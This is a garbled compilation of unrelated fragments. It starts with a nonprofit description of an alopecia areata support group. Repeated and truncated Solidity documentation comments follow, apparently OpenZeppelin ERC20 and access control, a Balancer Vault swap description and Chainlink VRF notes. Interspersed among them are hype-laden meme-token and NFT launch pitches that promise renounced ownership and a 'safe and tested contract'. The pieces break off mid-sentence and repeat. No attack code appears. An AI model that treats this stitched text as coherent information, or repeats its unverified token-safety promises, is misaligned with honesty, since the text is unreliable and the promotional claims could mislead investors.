Alopecia Areata: The shame and embarrassment of this disease devastates the lives
of too many women and girls when treatments do not work. Since 2007 Bald Girls Do
Lunch has connected with over 3,000 to restore self-confidence and conquer isolation.
With requests for meet-ups in every state and beyond the USA, Bald Girls is answering
the plea for women to find others for community and support. From intimate groups to
style workshops to restoring her looks, BGDL puts women on the track to normalcy and
living well with this disease.
Bald Girls Do Lunch is a rapidly growing network with nationwide and global momentum.
We're the only non-profit specifically created for women with alopecia areata – the
autoimmune skin disease which stops the normal growth of hair on the scalp, brows,
lashes and body. Founder, Thea Chassin, has alopecia areata universalis since 1997
and her health degrees from Columbia University and New York University.
Bald Girls Do Lunch takes pride in bringing up-to-date and accurate medical information.
We're known for superb motivation, practical results, and realistic expectations that
improve lives quickly. Our format facilitates communication and life skills.
There are no cures for this condition. New treatments are not imminent. That's why
BGDL helps women from coast to coast cope effectively today.
BGDL is the best program for women – too many of whom are hiding in plain sight,
unable to talk openly to friends and family. We meet women and bring them together
in their own states.

* @dev Implementation of the {IERC20} interface.

* This implementation is agnostic to the way tokens are created. This means

* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.

⚡️No Presale
⚡️No Team Tokens
⚡️Initial ETH for liquidity provided by the team
⚡️Complete fair launch
⚡️Stealth launch
✅Numerous Anti-bot measures in place.
✅Liquidity will be locked on unicrypt after it’s added.
✅Ownership will be renounced, straight after launch.
✅There will be no presale, to prevent an unfair launch.
✅We will provide liquidity ourselves! We will take no team tokens! (5% tax on sells only)
✅ To get the coin starting off strong. Influencers are on board and ready to go!
✅Coingecko listing has been drafted, 4 Chan, plans to get this trending on dextools will be undertaken straight after launch.

/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.

10,000 on-chain avatar NFTs created using a cellular automaton.
A cellular automaton consists of a regular grid of cells, each in one of a finite number of states,
such as on and off. The grid can be in any finite number of dimensions. For each cell, a set of cells
called its neighborhood is defined relative to the specified cell. An initial state (time t = 0) is
selected by assigning a state for each cell. A new generation is created (advancing t by 1), according
to some fixed rule (generally, a mathematical function) that determines the new state of each cell in terms
of the current state of the cell and the states of the cells in its neighborhood. Typically, the rule
for updating the state of cells is the same for each cell and does not change over time, and is
applied to the whole grid simultaneously.

REBELLION - TAKE BACK CONTROL!
Rebellion - opposition to one in authority or dominance. A sentiment of indignation and disapproval of
a situation manifests itself by the refusal to submit to or obey the authority responsible for this situation.
Our mission is clear: leverage the best qualities of blockchain technology. Provide financial freedom.
Go against the elite. We do not plan to create a Telegram Group, and we do not intend to reveal our identity.
We know how unreliable and uncontrolled crypto is. We don't want to take away the freedom but be a trustworthy
gateway to crypto, a dedicated community-led project to cleanse this wild-west.
Our contract is verified and renounced on launch.
We are everywhere. We are watching and controlling the narrative. Join the rebellion!
+ 6% BUY TAX, 12% SELL TAX
+ 2% MAX WALLET, 1% MAX TRANSACTION
+ SAFE AND TESTED CONTRACT
+ RENOUNCED ON LAUNCH

/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.

* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means

* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.

Crypto Messiah Memes flood twitter as a New Age begins.
He's also seen the whole dog-related minicoin boom.
Please, let's shout Messiah
It’s - when can I pay of my parents mortage as they both sick.
It’s - when can I pay off my mortgage.
It’s - when can I stop working 16hr shifts & do something easier
It hasn’t happened yet but I’m hopeful. Next Messiah lol？
Here comes the opportunity, please let $Messiah lead us to realize our dream together.
Our goals are the same. We will lock liquidity and renounce ownership immediately.

* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.

* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.

* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting

* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:

// - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g.
// while execution control is transferred to a token contract during a swap) will result in a revert. View
// functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results.
// Contracts calling view functions in the Vault must make sure the Vault has not already been entered.

//
// Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this,
// they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be
// aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote.
//
// The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence.
// In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'),
// and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out').
// More complex swaps, such as one token in to multiple tokens out can be achieved by batching together
// individual swaps.
//
// There are two swap kinds:
// - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the
// `onSwap` hook) the amount of tokens out (to send to the recipient).
// - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines
// (via the `onSwap` hook) the amount of tokens in (to receive from the sender).
//
// Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with
// the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated
// tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended
// swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at
// the final intended token.
//
// In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal
// Balance) after all individual swaps have been completed, and the net token balance change computed. This makes
// certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost
// much less gas than they would otherwise.
//
// It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple
// Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only
// updating the Pool's internal accounting).
//
// To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token
// involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the
// minimum amount of tokens to receive (by passing a negative value) is specified.
//
// Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after
// this point in time (e.g. if the transaction failed to be included in a block promptly).
//
// If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do
// the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be
// passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the

* Prices and invariant are not stored directly: instead, we store their logarithm. These are known as the 'instant'

* @notice Interface for contracts using VRF randomness
* *****************************************************************************
* @dev PURPOSE
*
* @dev Reggie the Random Oracle (not his real job) wants to provide randomness
* @dev to Vera the verifier in such a way that Vera can be sure he's not
* @dev making his output up to suit himself. Reggie provides Vera a public key
* @dev to which he knows the secret key. Each time Vera provides a seed to
* @dev Reggie, he gives back a value which is computed completely
* @dev deterministically from the seed and the secret key.
*
* @dev Reggie provides a proof by which Vera can verify that the output was
* @dev correctly computed once Reggie tells it to her, but without that proof,
* @dev the output is indistinguishable to her from a uniform random sample
* @dev from the output space.
*
* @dev The purpose of this contract is to make it easy for unrelated contracts
* @dev to talk to Vera the verifier about the work Reggie is doing, to provide
* @dev simple access to a verifiable source of randomness.
* *****************************************************************************
* @dev USAGE
*
* @dev Calling contracts must inherit from VRFConsumerBase, and can
* @dev initialize VRFConsumerBase's attributes in their constructor as
* @dev shown:
*
* @dev contract VRFConsumer {
* @dev constuctor(<other arguments>, address _vrfCoordinator, address _link)
* @dev VRFConsumerBase(_vrfCoordinator, _link) public {
* @dev <initialization with other arguments goes here>
* @dev }
* @dev }
*
* @dev The oracle will have given you an ID for the VRF keypair they have
* @dev committed to (let's call it keyHash), and have told you the minimum LINK
* @dev price for VRF service. Make sure your contract has sufficient LINK, and
* @dev call requestRandomness(keyHash, fee, seed), where seed is the input you
* @dev want to generate randomness from.
*
* @dev Once the VRFCoordinator has received and validated the oracle's response
* @dev to your request, it will call your contract's fulfillRandomness method.
*
* @dev The randomness argument to fulfillRandomness is the actual random value
* @dev generated from your seed.
*
* @dev The requestId argument is generated from the keyHash and the seed by
* @dev makeRequestId(keyHash, seed). If your contract could have concurrent
* @dev requests open, you can use the requestId to track which seed is
* @dev associated with which randomness. See VRFRequestIDBase.sol for more
* @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind,
* @dev if your contract could have multiple requests in flight simultaneously.)
*
* @dev Colliding `requestId`s are cryptographically impossible as long as seeds
* @dev differ. (Which is critical to making unpredictable randomness! See the
* @dev next section.)
*
* *****************************************************************************
* @dev SECURITY CONSIDERATIONS
*
* @dev A method with the ability to call your fulfillRandomness method directly
* @dev could spoof a VRF response with any random value, so it's critical that
* @dev it cannot be directly called by anything other than this base contract
* @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method).
*
* @dev For your users to trust that your contract's random behavior is free
* @dev from malicious interference, it's best if you can write it so that all
* @dev behaviors implied by a VRF response are executed *during* your
* @dev fulfillRandomness method. If your contract must store the response (or
* @dev anything derived from it) and use it later, you must ensure that any
* @dev user-significant behavior which depends on that stored value cannot be
* @dev manipulated by a subsequent VRF request.
*
* @dev Similarly, both miners and the VRF oracle itself have some influence
* @dev over the order in which VRF responses appear on the blockchain, so if
* @dev your contract could have multiple VRF requests in flight simultaneously,
* @dev you must ensure that the order in which the VRF responses arrive cannot
* @dev be used to manipulate your contract's user-significant behavior.
*
* @dev Since the ultimate input to the VRF is mixed with the block hash of the
* @dev block in which the request is made, user-provided seeds have no impact
* @dev on its economic security properties. They are only included for API
* @dev compatability with previous versions of this contract.
*
* @dev Since the block hash of the block which contains the requestRandomness
* @dev call is mixed into the input to the VRF *last*, a sufficiently powerful
* @dev miner could, in principle, fork the blockchain to evict the block
* @dev containing the request, forcing the request to be included in a
* @dev different block with a different hash, and therefore a different input
* @dev to the VRF. However, such an attack would incur a substantial economic
* @dev cost. This cost scales with the number of blocks the VRF oracle waits
* @dev until it calls responds to a request.

*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
